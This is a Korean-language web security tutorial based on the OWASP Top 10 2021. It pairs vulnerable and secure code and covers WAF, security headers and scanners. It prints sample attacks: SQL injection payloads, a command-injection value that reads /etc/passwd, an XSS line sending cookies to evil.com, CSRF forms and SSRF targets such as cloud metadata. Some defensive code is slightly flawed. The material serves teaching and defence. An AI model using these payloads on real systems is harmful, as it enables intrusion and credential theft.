서론: 웹 애플리케이션 보안의 중요성

현대 비즈니스의 대부분은 웹 애플리케이션을 통해 운영됩니다. 온라인 쇼핑, 금융 서비스, 소셜 미디어, 기업 내부 시스템까지 웹 기반 서비스가 핵심 인프라로 자리잡았습니다. 이에 따라 웹 애플리케이션은 공격자들의 주요 타겟이 되었으며, 웹 보안은 기업 보안의 최전선이 되었습니다.

OWASP(Open Web Application Security Project)는 웹 애플리케이션 보안 분야에서 가장 권위 있는 비영리 조직으로, 주기적으로 가장 심각한 웹 보안 위험 목록인 "OWASP Top 10"을 발표합니다. 이번 글에서는 OWASP Top 10 2021을 기반으로 주요 웹 취약점과 방어 방법을 상세히 알아보겠습니다.

1. OWASP Top 10 2021 개요

OWASP Top 10 2021은 가장 최신 버전으로, 이전 버전(2017)에서 상당한 변화가 있었습니다.

순위 취약점 설명
A01 Broken Access Control 접근 제어 실패
A02 Cryptographic Failures 암호화 실패
A03 Injection 인젝션 공격
A04 Insecure Design 안전하지 않은 설계
A05 Security Misconfiguration 보안 설정 오류
A06 Vulnerable and Outdated Components 취약한 구성 요소
A07 Identification and Authentication Failures 인증 실패
A08 Software and Data Integrity Failures 소프트웨어 무결성 실패
A09 Security Logging and Monitoring Failures 로깅 및 모니터링 실패
A10 Server-Side Request Forgery (SSRF) 서버 측 요청 위조

2. A01: Broken Access Control (접근 제어 실패)

접근 제어 실패는 2021년 Top 10에서 1위를 차지했습니다. 사용자가 자신의 권한을 벗어난 행동을 할 수 있을 때 발생합니다.

2.1 취약점 유형

  • 수직적 권한 상승: 일반 사용자가 관리자 기능에 접근
  • 수평적 권한 상승: 다른 사용자의 데이터에 접근
  • IDOR (Insecure Direct Object Reference): URL 파라미터 조작으로 다른 사용자 데이터 접근
  • 경로 탐색: 디렉터리 트래버설을 통한 파일 접근

2.2 취약한 코드 예시

# 취약한 코드 - IDOR 취약점
@app.route('/api/user/<user_id>/profile')
def get_user_profile(user_id):
    # 현재 로그인한 사용자인지 확인하지 않음
    user = User.query.get(user_id)
    return jsonify(user.to_dict())

# 취약한 코드 - 관리자 기능 접근 제어 없음
@app.route('/admin/delete_user/<user_id>')
def delete_user(user_id):
    User.query.filter_by(id=user_id).delete()
    return "User deleted"

2.3 안전한 코드 예시

# 안전한 코드 - IDOR 방어
@app.route('/api/user/<user_id>/profile')
@login_required
def get_user_profile(user_id):
    # 현재 로그인한 사용자만 자신의 프로필 접근 가능
    if current_user.id != int(user_id):
        abort(403)  # Forbidden
    user = User.query.get(user_id)
    return jsonify(user.to_dict())

# 안전한 코드 - 역할 기반 접근 제어
@app.route('/admin/delete_user/<user_id>')
@login_required
@admin_required  # 데코레이터로 관리자 권한 확인
def delete_user(user_id):
    if not current_user.is_admin:
        abort(403)
    User.query.filter_by(id=user_id).delete()
    return "User deleted"

3. A03: Injection (인젝션 공격)

인젝션 공격은 신뢰할 수 없는 데이터가 명령어나 쿼리의 일부로 전송될 때 발생합니다. SQL Injection이 가장 대표적입니다.

3.1 SQL Injection 공격 유형

  • Classic SQL Injection: 에러 메시지를 통해 정보 추출
  • Blind SQL Injection: 참/거짓 응답을 통해 정보 추출
  • Time-based Blind SQL Injection: 응답 시간 차이를 통해 정보 추출
  • Union-based SQL Injection: UNION 절을 이용해 데이터 추출

3.2 SQL Injection 공격 예시

-- 취약한 로그인 쿼리
SELECT * FROM users WHERE username = 'admin' AND password = 'password'

-- 공격자 입력: username = admin'--
SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything'
-- 결과: 비밀번호 검증 우회

-- Union 기반 공격
SELECT name, description FROM products WHERE id = 1 UNION SELECT username, password FROM users--

-- Time-based Blind SQL Injection
SELECT * FROM users WHERE id = 1; IF (1=1) WAITFOR DELAY '0:0:5'--

3.3 SQL Injection 방어

# 취약한 코드
def get_user(username):
    query = f"SELECT * FROM users WHERE username = '{username}'"
    cursor.execute(query)
    return cursor.fetchone()

# 안전한 코드 - Prepared Statement (매개변수화된 쿼리)
def get_user(username):
    query = "SELECT * FROM users WHERE username = %s"
    cursor.execute(query, (username,))
    return cursor.fetchone()

# ORM 사용 (SQLAlchemy)
def get_user(username):
    return User.query.filter_by(username=username).first()
// Java - PreparedStatement 사용
String query = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, username);
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery();

3.4 기타 Injection 공격

# Command Injection 취약점
import os
def ping_host(host):
    os.system(f"ping -c 4 {host}")  # 취약!

# 공격: host = "8.8.8.8; cat /etc/passwd"

# 안전한 코드
import subprocess
def ping_host(host):
    # 입력 검증
    if not re.match(r'^[\d.]+$', host):
        raise ValueError("Invalid host")
    subprocess.run(['ping', '-c', '4', host], capture_output=True)

4. A07: Identification and Authentication Failures

인증 관련 취약점은 세션 관리, 비밀번호 정책, 다단계 인증 등 다양한 영역에서 발생합니다.

4.1 취약점 유형

  • 약한 비밀번호 허용
  • Credential Stuffing 공격에 취약
  • 세션 고정 (Session Fixation)
  • 세션 ID가 URL에 노출
  • 안전하지 않은 비밀번호 복구

4.2 안전한 인증 구현

from flask import Flask, session
from werkzeug.security import generate_password_hash, check_password_hash
import secrets

app = Flask(__name__)
app.config['SECRET_KEY'] = secrets.token_hex(32)
app.config['SESSION_COOKIE_SECURE'] = True
app.config['SESSION_COOKIE_HTTPONLY'] = True
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'

# 비밀번호 해싱
def create_user(username, password):
    # 비밀번호 복잡성 검증
    if len(password) < 12:
        raise ValueError("Password too short")
    if not re.search(r'[A-Z]', password):
        raise ValueError("Password needs uppercase")
    if not re.search(r'[a-z]', password):
        raise ValueError("Password needs lowercase")
    if not re.search(r'\d', password):
        raise ValueError("Password needs digit")

    hashed = generate_password_hash(password, method='pbkdf2:sha256:310000')
    # 또는 bcrypt, argon2 사용
    User.create(username=username, password_hash=hashed)

# 로그인 시도 제한
from flask_limiter import Limiter

limiter = Limiter(app)

@app.route('/login', methods=['POST'])
@limiter.limit("5 per minute")  # 분당 5회 제한
def login():
    username = request.form['username']
    password = request.form['password']

    user = User.query.filter_by(username=username).first()
    if user and check_password_hash(user.password_hash, password):
        session.regenerate()  # 세션 ID 재생성
        session['user_id'] = user.id
        return redirect('/dashboard')

    # 실패 시 일반적인 메시지 (정보 누출 방지)
    return "Invalid credentials", 401

5. XSS (Cross-Site Scripting) 공격과 방어

XSS는 공격자가 웹 페이지에 악성 스크립트를 삽입하여 다른 사용자의 브라우저에서 실행되게 하는 공격입니다.

5.1 XSS 유형

  • Stored XSS: 악성 스크립트가 서버에 저장되어 다른 사용자에게 전달
  • Reflected XSS: 악성 스크립트가 URL을 통해 반사되어 실행
  • DOM-based XSS: 클라이언트 측 JavaScript에서 발생

5.2 XSS 공격 예시

<!-- Stored XSS: 게시판 댓글 -->
<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>

<!-- Reflected XSS: 검색 결과 페이지 -->
https://example.com/search?q=<script>alert('XSS')</script>

<!-- 다양한 XSS 페이로드 -->
<img src=x onerror="alert('XSS')">
<svg onload="alert('XSS')">
<body onload="alert('XSS')">
<iframe src="javascript:alert('XSS')">

5.3 XSS 방어

# Python Flask - 자동 이스케이핑 (Jinja2)
from markupsafe import escape

@app.route('/search')
def search():
    query = request.args.get('q', '')
    # 템플릿에서 자동 이스케이핑
    return render_template('search.html', query=query)

# 수동 이스케이핑이 필요한 경우
safe_input = escape(user_input)
// JavaScript에서 안전한 DOM 조작
// 취약한 코드
element.innerHTML = userInput;

// 안전한 코드
element.textContent = userInput;

// 또는 DOMPurify 라이브러리 사용
const clean = DOMPurify.sanitize(userInput);
element.innerHTML = clean;

5.4 Content Security Policy (CSP)

# Nginx에서 CSP 헤더 설정
add_header Content-Security-Policy "
    default-src 'self';
    script-src 'self' 'nonce-randomvalue' https://trusted-cdn.com;
    style-src 'self' 'unsafe-inline';
    img-src 'self' data: https:;
    font-src 'self' https://fonts.googleapis.com;
    connect-src 'self' https://api.example.com;
    frame-ancestors 'none';
    base-uri 'self';
    form-action 'self';
" always;
<!-- HTML에서 nonce 사용 -->
<script nonce="randomvalue">
    // 이 스크립트만 실행됨
    console.log('Allowed script');
</script>

6. CSRF (Cross-Site Request Forgery)

CSRF는 인증된 사용자의 권한을 이용해 공격자가 원하는 요청을 전송하게 하는 공격입니다.

6.1 CSRF 공격 예시

<!-- 악성 웹사이트에 삽입된 CSRF 공격 코드 -->
<!-- 이미지 태그를 이용한 GET 요청 -->
<img src="https://bank.com/transfer?to=attacker&amount=10000">

<!-- 폼을 이용한 POST 요청 -->
<form action="https://bank.com/transfer" method="POST" id="csrf-form">
    <input type="hidden" name="to" value="attacker">
    <input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrf-form').submit();</script>

6.2 CSRF 방어

# Flask-WTF를 이용한 CSRF 토큰
from flask_wtf.csrf import CSRFProtect

app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key'
csrf = CSRFProtect(app)

# 템플릿에서 CSRF 토큰 사용
# <form method="post">
#     {{ csrf_token() }}
#     ...
# </form>

# AJAX 요청 시
# headers: {'X-CSRFToken': csrf_token}
// JavaScript에서 CSRF 토큰 포함
fetch('/api/transfer', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
        'X-CSRF-Token': document.querySelector('meta[name="csrf-token"]').content
    },
    body: JSON.stringify({to: 'recipient', amount: 100})
});

6.3 SameSite Cookie 설정

# Flask 세션 쿠키 설정
app.config.update(
    SESSION_COOKIE_SECURE=True,
    SESSION_COOKIE_HTTPONLY=True,
    SESSION_COOKIE_SAMESITE='Strict'  # 또는 'Lax'
)

7. SSRF (Server-Side Request Forgery)

SSRF는 서버가 공격자가 지정한 URL로 요청을 보내게 하는 공격입니다. 내부 네트워크 접근, 클라우드 메타데이터 탈취 등에 악용됩니다.

7.1 SSRF 공격 시나리오

# AWS 메타데이터 탈취
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# 내부 서비스 접근
http://localhost:8080/admin
http://192.168.1.1/router-config

# 파일 읽기
file:///etc/passwd

7.2 SSRF 방어

import ipaddress
from urllib.parse import urlparse

def is_safe_url(url):
    """SSRF 방어를 위한 URL 검증"""
    try:
        parsed = urlparse(url)

        # 프로토콜 검증
        if parsed.scheme not in ['http', 'https']:
            return False

        # IP 주소 검증
        hostname = parsed.hostname
        if hostname:
            try:
                ip = ipaddress.ip_address(hostname)
                # 사설 IP, 루프백, 링크 로컬 차단
                if ip.is_private or ip.is_loopback or ip.is_link_local:
                    return False
            except ValueError:
                # 도메인인 경우 - 화이트리스트 검증
                allowed_domains = ['api.trusted.com', 'cdn.example.com']
                if hostname not in allowed_domains:
                    # DNS 리바인딩 방지를 위해 IP 확인
                    import socket
                    resolved_ip = socket.gethostbyname(hostname)
                    ip = ipaddress.ip_address(resolved_ip)
                    if ip.is_private or ip.is_loopback:
                        return False

        return True
    except Exception:
        return False

@app.route('/fetch')
def fetch_url():
    url = request.args.get('url')
    if not is_safe_url(url):
        abort(400, "Invalid URL")
    response = requests.get(url, timeout=5)
    return response.content

8. 보안 헤더 설정

8.1 주요 보안 헤더

# Nginx 보안 헤더 설정
server {
    # XSS 필터 활성화
    add_header X-XSS-Protection "1; mode=block" always;

    # MIME 스니핑 방지
    add_header X-Content-Type-Options "nosniff" always;

    # 클릭재킹 방지
    add_header X-Frame-Options "DENY" always;

    # HTTPS 강제 (HSTS)
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;

    # Referrer 정책
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;

    # 권한 정책
    add_header Permissions-Policy "geolocation=(), microphone=(), camera=()" always;

    # Content Security Policy
    add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self'; connect-src 'self'; frame-ancestors 'none';" always;
}

8.2 Apache 설정

# .htaccess 또는 httpd.conf
Header always set X-XSS-Protection "1; mode=block"
Header always set X-Content-Type-Options "nosniff"
Header always set X-Frame-Options "DENY"
Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload"
Header always set Referrer-Policy "strict-origin-when-cross-origin"
Header always set Content-Security-Policy "default-src 'self'"

8.3 Express.js (Helmet 미들웨어)

const express = require('express');
const helmet = require('helmet');

const app = express();

// 기본 보안 헤더 설정
app.use(helmet());

// 상세 설정
app.use(helmet({
    contentSecurityPolicy: {
        directives: {
            defaultSrc: ["'self'"],
            scriptSrc: ["'self'", "'unsafe-inline'"],
            styleSrc: ["'self'", "'unsafe-inline'"],
            imgSrc: ["'self'", "data:", "https:"],
        },
    },
    hsts: {
        maxAge: 31536000,
        includeSubDomains: true,
        preload: true
    },
    frameguard: { action: 'deny' },
    noSniff: true,
    xssFilter: true
}));

9. WAF (Web Application Firewall)

9.1 WAF 개념

WAF는 웹 애플리케이션과 인터넷 사이에서 HTTP 트래픽을 필터링하고 모니터링하는 보안 솔루션입니다. SQL Injection, XSS, CSRF 등 다양한 웹 공격을 차단합니다.

WAF 동작 방식:

  • 시그니처 기반: 알려진 공격 패턴 매칭
  • 행동 기반: 비정상적인 요청 패턴 탐지
  • ML/AI 기반: 머신러닝으로 새로운 공격 탐지

9.2 ModSecurity 설정 (오픈소스 WAF)

# ModSecurity 설치 (Ubuntu + Nginx)
sudo apt install libmodsecurity3 libmodsecurity-dev
sudo apt install libnginx-mod-http-modsecurity

# OWASP CRS (Core Rule Set) 다운로드
cd /etc/nginx
sudo git clone https://github.com/coreruleset/coreruleset.git
cd coreruleset
sudo cp crs-setup.conf.example crs-setup.conf
# Nginx ModSecurity 설정
# /etc/nginx/modsec/modsecurity.conf
SecRuleEngine On
SecRequestBodyAccess On
SecResponseBodyAccess On
SecResponseBodyMimeType text/plain text/html text/xml
SecDataDir /tmp/
SecAuditEngine RelevantOnly
SecAuditLog /var/log/nginx/modsec_audit.log

# Nginx 서버 블록에서 활성화
server {
    modsecurity on;
    modsecurity_rules_file /etc/nginx/modsec/main.conf;

    location / {
        proxy_pass http://backend;
    }
}

9.3 클라우드 WAF 서비스

  • AWS WAF: AWS 환경에 통합, CloudFront, ALB와 연동
  • Cloudflare WAF: CDN과 통합된 WAF 서비스
  • Azure WAF: Application Gateway와 통합
  • Google Cloud Armor: GCP 로드밸런서와 통합
# AWS WAF CLI로 규칙 생성 예시
aws wafv2 create-web-acl \
    --name "MyWebACL" \
    --scope REGIONAL \
    --default-action '{"Allow": {}}' \
    --rules '[
        {
            "Name": "SQLInjectionRule",
            "Priority": 1,
            "Statement": {
                "SqliMatchStatement": {
                    "FieldToMatch": {"AllQueryArguments": {}},
                    "TextTransformations": [{"Priority": 0, "Type": "URL_DECODE"}]
                }
            },
            "Action": {"Block": {}},
            "VisibilityConfig": {
                "SampledRequestsEnabled": true,
                "CloudWatchMetricsEnabled": true,
                "MetricName": "SQLInjection"
            }
        }
    ]' \
    --visibility-config SampledRequestsEnabled=true,CloudWatchMetricsEnabled=true,MetricName=MyWebACL

10. 웹 취약점 스캐너

10.1 OWASP ZAP (Zed Attack Proxy)

OWASP ZAP는 무료 오픈소스 웹 애플리케이션 보안 스캐너입니다.

# Docker로 OWASP ZAP 실행
docker run -t owasp/zap2docker-stable zap-baseline.py -t https://example.com

# API를 통한 스캔
docker run -u zap -p 8080:8080 -d owasp/zap2docker-stable zap.sh -daemon -host 0.0.0.0 -port 8080

# Python API 사용
from zapv2 import ZAPv2

zap = ZAPv2(apikey='your-api-key', proxies={'http': 'http://localhost:8080'})

# Spider 실행
scan_id = zap.spider.scan('https://example.com')
while int(zap.spider.status(scan_id)) < 100:
    time.sleep(5)

# Active Scan 실행
scan_id = zap.ascan.scan('https://example.com')
while int(zap.ascan.status(scan_id)) < 100:
    time.sleep(5)

# 결과 출력
print(zap.core.alerts())

10.2 Nikto

Nikto는 웹 서버 취약점 스캐너로, 서버 설정 오류, 취약한 파일 등을 탐지합니다.

# Nikto 설치 및 실행
sudo apt install nikto

# 기본 스캔
nikto -h https://example.com

# SSL 스캔
nikto -h https://example.com -ssl

# 특정 포트 스캔
nikto -h example.com -p 8080

# 결과를 파일로 저장
nikto -h https://example.com -o report.html -Format html

# 튜닝 옵션 (특정 테스트만 수행)
# 1 - 흥미로운 파일/CGI
# 2 - 기본 파일
# 3 - 정보 누출
# 4 - 인젝션 (XSS/스크립트/HTML)
nikto -h https://example.com -Tuning 1234

10.3 Burp Suite

Burp Suite는 웹 애플리케이션 보안 테스트를 위한 통합 플랫폼입니다.

# Burp Suite 프록시 설정 (브라우저에서)
HTTP Proxy: 127.0.0.1:8080

# 주요 기능:
# - Proxy: HTTP/HTTPS 트래픽 가로채기 및 수정
# - Spider: 웹 사이트 크롤링
# - Scanner: 자동 취약점 스캔 (Pro 버전)
# - Intruder: 자동화된 공격 (무차별 대입 등)
# - Repeater: 요청 수동 수정 및 재전송
# - Decoder: 인코딩/디코딩 도구
# - Comparer: 응답 비교

10.4 자동화된 보안 테스트 파이프라인

# GitHub Actions - 보안 스캔 워크플로우
name: Security Scan

on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

jobs:
  security-scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3

      - name: Run OWASP ZAP Baseline Scan
        uses: zaproxy/action-baseline@v0.7.0
        with:
          target: 'https://staging.example.com'
          rules_file_name: '.zap/rules.tsv'

      - name: Run Nikto Scan
        run: |
          docker run --rm frapsoft/nikto -h https://staging.example.com -o /dev/stdout

      - name: Upload ZAP Report
        uses: actions/upload-artifact@v3
        with:
          name: zap-report
          path: report_html.html

결론

웹 애플리케이션 보안은 다층 방어(Defense in Depth) 전략이 필수적입니다. 이번 글에서 다룬 내용을 요약하면:

  • OWASP Top 10: 가장 중요한 웹 보안 위험 목록 숙지
  • 입력 검증: 모든 사용자 입력은 잠재적으로 위험하므로 철저한 검증 필요
  • 출력 인코딩: XSS 방지를 위한 적절한 이스케이핑
  • 인증/인가: 강력한 인증 메커니즘과 세분화된 권한 관리
  • 보안 헤더: CSP, HSTS 등 브라우저 보안 기능 활용
  • WAF: 추가적인 보안 계층으로 알려진 공격 패턴 차단
  • 정기적인 스캔: 취약점 스캐너를 통한 지속적인 보안 점검

웹 보안은 개발 초기 단계부터 고려해야 하며(Shift Left Security), CI/CD 파이프라인에 보안 테스트를 통합하는 DevSecOps 접근 방식이 권장됩니다. 다음 편에서는 네트워크 모니터링과 로그 분석에 대해 알아보겠습니다.